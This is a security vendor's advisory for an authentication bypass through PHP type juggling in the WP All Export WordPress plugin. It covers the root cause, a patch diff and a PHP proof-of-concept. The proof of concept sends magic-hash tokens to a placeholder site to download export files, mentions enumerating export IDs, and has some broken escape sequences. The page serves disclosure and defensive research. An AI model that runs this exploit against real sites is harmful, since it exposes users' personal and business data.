Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1582: WP All Export <= 1.4.14 – Unauthenticated Sensitive Information Exposure via PHP Type Juggling (wp-all-export)

CVE ID CVE-2026-1582
Plugin wp-all-export
Severity Low (CVSS 3.7)
CWE 200
Vulnerable Version 1.4.14
Patched Version 1.4.15
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1582:
This vulnerability is an unauthenticated sensitive information exposure in the WP All Export WordPress plugin. The flaw exists in the export download endpoint’s security token validation. Attackers can bypass authentication via PHP type juggling to download sensitive export files containing personally identifiable information (PII), business data, or database contents. The CVSS score of 3.7 reflects the low attack complexity but significant data exposure impact.

Root Cause:
The vulnerability originates in the wp-all-export/actions/wp_loaded.php file at line 19. The plugin uses loose comparison (==) instead of strict comparison (===) when validating the security token. The code compares $securityToken against substr(md5($cron_job_key . $_GET[‘export_id’]), 0, 16). When the MD5 hash prefix matches the pattern ^0ed+$, PHP’s type juggling interprets both strings as scientific notation zero during loose comparison, making them equal regardless of the remaining characters.

Exploitation:
Attackers target the export download endpoint by crafting requests with ‘magic hash’ values in the securityToken parameter. The attacker must know or guess the export_id parameter value. When the legitimate MD5 hash of cron_job_key concatenated with export_id produces a numeric-looking prefix (e.g., ‘0e1234567890123456’), any other string starting with ‘0e’ followed by digits will satisfy the loose comparison. This allows unauthenticated access to download exported CSV/XML files containing sensitive data.

Patch Analysis:
The patch replaces the vulnerable loose comparison with a secure comparison using hash_equals(). In wp-all-export/actions/wp_loaded.php line 19, the code changes from if ( $securityToken == substr(md5($cron_job_key . $_GET[‘export_id’]), 0, 16) ) to if ( hash_equals( substr( md5( $cron_job_key . $_GET[‘export_id’] ), 0, 16 ), $securityToken ) ). The hash_equals() function performs constant-time comparison that prevents timing attacks and requires exact string matching, eliminating the PHP type juggling vulnerability.

Impact:
Successful exploitation allows unauthenticated attackers to download sensitive export files. These files typically contain database dumps, user information, product catalogs, financial records, or other business-critical data. The exposed PII could include names, email addresses, phone numbers, and physical addresses. Database exports may reveal internal structures, configuration details, or authentication hashes. This data exposure violates privacy regulations and enables further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/wp-all-export/actions/pmxe_after_export.php
+++ b/wp-all-export/actions/pmxe_after_export.php
@@ -71,12 +71,12 @@
             $in  = fopen($tmp_file, 'r');
             $out = fopen($filepath, 'w');

-            $headers = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter']);
+            $headers = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter'], '"', '\');

             if (is_resource($in)) {
                 $lineNumber = 0;
                 while ( ! feof($in) ) {
-                    $data = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter']);
+                    $data = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter'], '"', '\');
                     if ( empty($data) ) continue;
                     $data_assoc = array_combine($headers, array_values($data));
                     $line = array();
@@ -85,10 +85,10 @@
                     }
                     if ( ! $lineNumber && XmlExportEngine::$exportOptions['include_bom']){
                         fwrite($out, chr(0xEF).chr(0xBB).chr(0xBF));
-                        fputcsv($out, $line, XmlExportEngine::$exportOptions['delimiter']);
+                        fputcsv($out, $line, XmlExportEngine::$exportOptions['delimiter'], '"', '\');
                     }
                     else{
-                        fputcsv($out, $line, XmlExportEngine::$exportOptions['delimiter']);
+                        fputcsv($out, $line, XmlExportEngine::$exportOptions['delimiter'], '"', '\');
                     }
                     apply_filters('wp_all_export_after_csv_line', $out, XmlExportEngine::$exportID);
                     $lineNumber++;
@@ -197,9 +197,9 @@

 						$rowCount  = 0;
 						$fileCount = 1;
-						$headers = fgetcsv($in);
+						$headers = fgetcsv($in, 0, ',', '"', '\');
 						while (!feof($in)) {
-						    $data = fgetcsv($in);
+						    $data = fgetcsv($in, 0, ',', '"', '\');
 						    if (empty($data)) continue;
 						    if (($rowCount % $splitSize) == 0) {
 						        if ($rowCount > 0) {
@@ -213,9 +213,9 @@
 						    }
 						    if ($data){
 						    	if (($rowCount % $splitSize) == 0) {
-						    		fputcsv($out, $headers);
+						    		fputcsv($out, $headers, ',', '"', '\');
 						    	}
-						        fputcsv($out, $data);
+						        fputcsv($out, $data, ',', '"', '\');
 						    }
 						    $rowCount++;
 						}
--- a/wp-all-export/actions/wp_ajax_wpae_preview.php
+++ b/wp-all-export/actions/wp_ajax_wpae_preview.php
@@ -416,7 +416,7 @@
 							<table class="pmxe_preview" cellpadding="0" cellspacing="0">
 							<?php
 							foreach ($csv_rows as $rkey => $row) {
-								$cells = str_getcsv($row, $exportOptions['delimiter']);
+								$cells = str_getcsv($row, $exportOptions['delimiter'], '"', '\');
 								if ($cells){
 									?>
 									<tr>
--- a/wp-all-export/actions/wp_loaded.php
+++ b/wp-all-export/actions/wp_loaded.php
@@ -16,7 +16,7 @@

 		$cron_job_key = PMXE_Plugin::getInstance()->getOption('cron_job_key');

-		if ( $securityToken == substr(md5($cron_job_key . $_GET['export_id']), 0, 16) )
+		if ( hash_equals( substr( md5( $cron_job_key . $_GET['export_id'] ), 0, 16 ), $securityToken ) )
 		{
 			$export = new PMXE_Export_Record();

--- a/wp-all-export/classes/XMLWriter.php
+++ b/wp-all-export/classes/XMLWriter.php
@@ -366,7 +366,7 @@
     {

         if (XmlExportEngine::$is_preview) {
-            $v = str_replace('&', '&', $v);
+            $v = str_replace('&', '&', (string) $v);
             $v = htmlspecialchars($v);
         }

--- a/wp-all-export/classes/handler.php
+++ b/wp-all-export/classes/handler.php
@@ -35,9 +35,9 @@
      * Return true if the current user has an active session, i.e. a cookie to retrieve values
      * @return boolean
      */
-    public function has_session()
+    public function has_session()
     {
-    	return isset( $_COOKIE[ $this->_cookie ] ) || $this->_has_cookie || is_user_logged_in();
+    	return ( $this->_cookie !== null && isset( $_COOKIE[ $this->_cookie ] ) ) || $this->_has_cookie || is_user_logged_in();
     }

     /**
--- a/wp-all-export/classes/helper.php
+++ b/wp-all-export/classes/helper.php
@@ -134,7 +134,7 @@
 			.'$#'
 			.$modifiers;

-		return (boolean)preg_match($pattern, $string);
+		return (bool)preg_match($pattern, $string);
 	}

     public static function is_rapid_export_addon($cpt)
--- a/wp-all-export/controllers/controller/admin.php
+++ b/wp-all-export/controllers/controller/admin.php
@@ -55,7 +55,7 @@
 		wp_enqueue_style('pmxe-angular-scss', PMXE_ROOT_URL . '/dist/styles.css', array('media-views'), PMXE_VERSION.PMXE_ASSETS_VERSION);
         wp_enqueue_style('jquery-codemirror', PMXE_ROOT_URL . '/static/css/codemirror.css', array(), PMXE_VERSION);

-		$wp_styles->add_data('pmxe-admin-style-ie', 'conditional', 'lte IE 7');
+		// IE conditional comments removed - no longer supported in modern browsers or WordPress 6.9+
 		wp_enqueue_style('wp-pointer');

 		if ( version_compare(get_bloginfo('version'), '3.8-RC1') >= 0 ){
--- a/wp-all-export/helpers/pmxe_prepare_price.php
+++ b/wp-all-export/helpers/pmxe_prepare_price.php
@@ -47,7 +47,7 @@
         $price = str_replace(",", ".", $price);
         $price = str_replace(",", ".", str_replace(".", "", preg_replace("%.([0-9]){1,2}?$%", ",$0", $price)));

-        $price = ("" != $price) ? number_format( (double) $price, 2, '.', '' ) : "";
+        $price = ("" != $price) ? number_format( (float) $price, 2, '.', '' ) : "";
     }

     return apply_filters('pmxe_price', $price);
--- a/wp-all-export/helpers/str_getcsv.php
+++ b/wp-all-export/helpers/str_getcsv.php
@@ -10,7 +10,7 @@
 	$temp = fopen("php://memory", "rw");
 	fwrite($temp, $input);
 	fseek($temp, 0);
-	$r = fgetcsv($temp, strlen($input), $delimiter, $enclosure);
+	$r = fgetcsv($temp, strlen($input), $delimiter, $enclosure, '\');
 	fclose($temp);
 	return $r;
 }
--- a/wp-all-export/libraries/XmlCsvExport.php
+++ b/wp-all-export/libraries/XmlCsvExport.php
@@ -645,7 +645,7 @@

 		$in  = fopen($file, 'r');

-		$clear_old_headers = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter']);
+		$clear_old_headers = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter'], '"', '\');

 		fclose($in);

@@ -720,11 +720,11 @@

 			apply_filters('wp_all_export_after_csv_line', $out, XmlExportEngine::$exportID);

-			$exclude_old_headers = fgetcsv($in);
+			$exclude_old_headers = fgetcsv($in, 0, ',', '"', '\');

 			if (is_resource($in)) {
 				while ( ! feof($in) ) {
-				    $data = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter']);
+				    $data = fgetcsv($in, 0, XmlExportEngine::$exportOptions['delimiter'], '"', '\');
 					if ( empty($data) ) continue;

 					// Handle CSV parsing issues by ensuring proper column count
--- a/wp-all-export/libraries/XmlExportCpt.php
+++ b/wp-all-export/libraries/XmlExportCpt.php
@@ -110,7 +110,7 @@
                         break;
                     case 'title':
                         $val = apply_filters('pmxe_post_title', pmxe_filter($entry->post_title, $fieldSnippet));
-                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars($val))) : $val, $entry->ID);
+                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars((string) $val))) : $val, $entry->ID);
                         break;
                     case 'content':
                         $postContent = $entry->post_content;
@@ -145,7 +145,7 @@
                         }

                         $val = apply_filters('pmxe_post_content', pmxe_filter($postContent, $fieldSnippet), $entry->ID);
-                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars($val))) : $val);
+                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars((string) $val))) : $val);
                         break;

                     // Media Attachments
@@ -289,7 +289,7 @@
                         break;
                     case 'excerpt':
                         $val = apply_filters('pmxe_post_excerpt', pmxe_filter($entry->post_excerpt, $fieldSnippet), $entry->ID);
-                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars($val))) : $val);
+                        wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars((string) $val))) : $val);
                         break;
                     case 'cf':
                         if (!empty($fieldValue)) {
@@ -326,7 +326,7 @@
                                     }
                                 }
                                 $val = pmxe_filter($val, $fieldSnippet);
-                                wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars($val))) : $val);
+                                wp_all_export_write_article($article, $element_name, ($preview) ? trim(preg_replace('~[rn]+~', ' ', htmlspecialchars((string) $val))) : $val);
                             }

                             if (empty($cur_meta_values)) {
--- a/wp-all-export/src/Csv/CsvRfcUtils.php
+++ b/wp-all-export/src/Csv/CsvRfcUtils.php
@@ -43,7 +43,7 @@
         if ($eol !== self::EOL_WRITE_DEFAULT || self::hasAnyValueWithEscapeFollowedByEnclosure($fields, $enclosure)) {
             fwrite($handle, self::strPutCsv($fields, $delimiter, $enclosure, $eol));
         } else {
-            fputcsv($handle, $fields, $delimiter, $enclosure);
+            fputcsv($handle, $fields, $delimiter, $enclosure, '\');
         }
     }

@@ -127,7 +127,7 @@
     public static function strPutCsv(array $fields, $delimiter = ',', $enclosure = '"', $eol = self::EOL_WRITE_DEFAULT)
     {
         $file = new SplTempFileObject();
-        $file->fputcsv($fields, $delimiter, $enclosure);
+        $file->fputcsv($fields, $delimiter, $enclosure, '\');
         $file->rewind();

         $line = '';
--- a/wp-all-export/src/Csv/CsvWriter.php
+++ b/wp-all-export/src/Csv/CsvWriter.php
@@ -20,7 +20,7 @@
         $value = apply_filters('pmxe_csv_value', $value);

         if($this->csvStrategy == self::CSV_STRATEGY_DEFAULT) {
-            fputcsv($resource, $value, $delimiter);
+            fputcsv($resource, $value, $delimiter, '"', '\');
         } else {
             CsvRcfWriter::fputcsv($resource, $value, $delimiter);
         }
--- a/wp-all-export/wp-all-export.php
+++ b/wp-all-export/wp-all-export.php
@@ -5,7 +5,7 @@
 Description: Export any post type to a CSV or XML file. Edit the exported data, and then re-import it later using WP All Import.
 License: GPLv2 or later
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
-Version: 1.4.14
+Version: 1.4.15
 Author: Soflyy
 */

@@ -61,7 +61,7 @@
 	 */
 	define('PMXE_PREFIX', 'pmxe_');

-	define('PMXE_VERSION', '1.4.14');
+	define('PMXE_VERSION', '1.4.15');

     define('PMXE_ASSETS_VERSION', '-1.0.3');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1582 - WP All Export <= 1.4.14 - Unauthenticated Sensitive Information Exposure via PHP Type Juggling

<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// Known magic hash values that evaluate to 0 in PHP loose comparison
$magic_hashes = [
    '0e1137126905',
    '0e215962017',
    '0e291242476940776845150308577824',
    '0e462097431906509019562988736854',
    '0e665070199694271348945674943051855667',
    '0e830400451993494058024219903391'
];

// Export ID to target - this would need to be discovered or guessed
// In real scenarios, attackers might brute-force export IDs or find them in logs
$export_id = 1;

// Construct the vulnerable endpoint URL
// The endpoint is triggered via wp_loaded action when securityToken and export_id parameters are present
$endpoint = $target_url . '?securityToken=' . urlencode($magic_hashes[0]) . '&export_id=' . $export_id;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Connection: close'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200 && !empty($response)) {
    // Check if response contains export data (CSV/XML indicators)
    if (strpos($response, ',') !== false || strpos($response, '<?xml') !== false) {
        echo "[+] SUCCESS: Export file downloaded via magic hash bypassn";
        echo "[+] Response preview:n";
        echo substr($response, 0, 500) . "...n";
        
        // Save to file for analysis
        file_put_contents('export_data_' . $export_id . '.txt', $response);
        echo "[+] Data saved to export_data_" . $export_id . ".txtn";
    } else {
        echo "[-] Received 200 response but no export data detectedn";
        echo "[-] Response may indicate invalid export_id or different vulnerability conditionsn";
    }
} else {
    echo "[-] FAILED: HTTP Code " . $http_code . "n";
    echo "[-] The target may not be vulnerable, or export_id is incorrectn";
    echo "[-] Try different export_id values or magic hash variationsn";
}

curl_close($ch);

// Additional note: In real attacks, attackers would enumerate export_ids
// and try multiple magic hash values until successful

echo "n[!] Note: This PoC demonstrates the authentication bypass mechanism.n";
echo "[!] Successful exploitation requires the MD5 hash of (cron_job_key + export_id)n";
echo "[!] to produce a numeric-looking prefix matching ^0e\d+$ pattern.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School